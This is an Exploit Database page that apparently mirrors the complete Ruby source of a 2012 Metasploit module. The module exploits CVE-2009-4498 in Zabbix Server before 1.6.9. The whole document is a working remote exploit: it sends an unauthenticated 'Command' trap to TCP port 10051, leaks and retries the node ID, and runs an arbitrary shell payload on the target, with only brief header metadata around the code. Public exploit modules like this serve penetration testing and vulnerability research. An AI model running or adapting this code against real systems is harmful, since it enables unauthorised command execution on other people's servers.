Zabbix Server – Arbitrary Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2012-08-27
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/20796/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  
  require 'msf/core'
  
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Zabbix Server Arbitrary Command Execution',
  			'Description'=> %q{
  					This module abuses the "Command" trap in Zabbix Server to execute arbitrary
  				commands without authentication. By default the Node ID "0" is used, if it doesn't
  				work, the Node ID is leaked from the error message and exploitation retried.
  
  				According to the vendor versions prior to 1.6.9 are vulnerable. The vulnerability
  				has been successfully tested on Zabbix Server 1.6.7 on Ubuntu 10.04.
  			},
  			'Author' =>
  				[
  					'Nicob <nicob[at]nicob.net>', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2009-4498' ],
  					[ 'OSVDB', '60965' ],
  					[ 'BID', '37989' ],
  					[ 'EDB', '10432' ],
  					[ 'URL', 'https://support.zabbix.com/browse/ZBX-1030' ]
  				],
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'DisableNops' => true,
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic telnet',
  							# *_perl, *_python and *_ruby work if they are installed
  						}
  				},
  			'Targets'=>
  				[
  					[ 'Zabbix 1.6.7', { } ]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate'=> 'Sep 10 2009'
  		))
  
  		register_options(
  			[
  				Opt::RPORT(10051),
  			], self.class)
  	end
  
  	def send_command(sock, node_id, cmd)
  		host_id = Rex::Text.rand_text_numeric(3)
  		msg = "Command\255"
  		msg << "#{node_id}\255"
  		msg << "#{host_id}\255"
  		msg << "#{cmd}\n"
  		sock.put(msg)
  		res = sock.get_once
  		return res
  	end
  
  	def check
  		peer = "#{rhost}:#{rport}"
  		node_id = 0
  		clue = Rex::Text.rand_text_alpha(rand(5)+5)
  		cmd = "echo #{clue}"
  
  		connect
  		print_status("#{peer} - Sending 'Command' request...")
  		res = send_command(sock, node_id, cmd)
  		disconnect
  
  		if res
  			print_status(res)
  			if res =~ /#{clue}/
  				return Exploit::CheckCode::Vulnerable
  			elsif res =~ /-1/ and res=~ /NODE (\d*)/
  				node_id = $1
  				print_good("#{peer} - Node ID #{node_id} discovered")
  			else
  				return Exploit::CheckCode::Safe
  			end
  		else # No response
  			return Exploit::CheckCode::Safe
  		end
  
  		# Retry with the good node_id
  		connect
  		print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
  		res = send_command(sock, node_id, cmd)
  		disconnect
  		if res and res =~ /#{clue}/
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		peer = "#{rhost}:#{rport}"
  		node_id = 0
  		cmd = payload.encoded
  
  		connect
  		print_status("#{peer} - Sending 'Command' request...")
  		res = send_command(sock, node_id, cmd)
  		disconnect
  
  		if res and res =~ /-1/ and res=~ /NODE (\d*)/
  			# Retry with the good node_id
  			node_id = $1
  			print_good("#{peer} - Node ID #{node_id} discovered")
  			connect
  			print_status("#{peer} - Sending 'Command' request with discovered Node ID...")
  			res = send_command(sock, node_id, cmd)
  			disconnect
  		end
  
  		# Read command output from socket if cmd/unix/generic payload was used
  		if (datastore['CMD'])
  			if res and res =~ /\x30\xad/
  				print_good("#{peer} - Command executed successfully")
  				print_status("Output:\n#{res.split("\x30\xad").last}")
  			else
  				print_error("#{peer} - Failed to execute the command")
  			end
  		end
  
  	end
  
  end